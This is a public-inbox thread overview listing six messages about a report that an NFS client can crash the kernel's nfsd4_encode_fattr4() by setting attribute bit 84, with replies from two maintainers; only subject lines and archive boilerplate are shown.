Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-09-10 13:55 client can crash nfsd4_encode_fattr4() by setting bit 84 rtm
2025-09-10 14:49 ` Jeff Layton
2025-09-10 14:53 ` Chuck Lever
2025-09-10 15:08 ` Jeff Layton
2025-09-10 15:10 ` Chuck Lever
2025-09-10 15:21 ` Jeff Layton
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox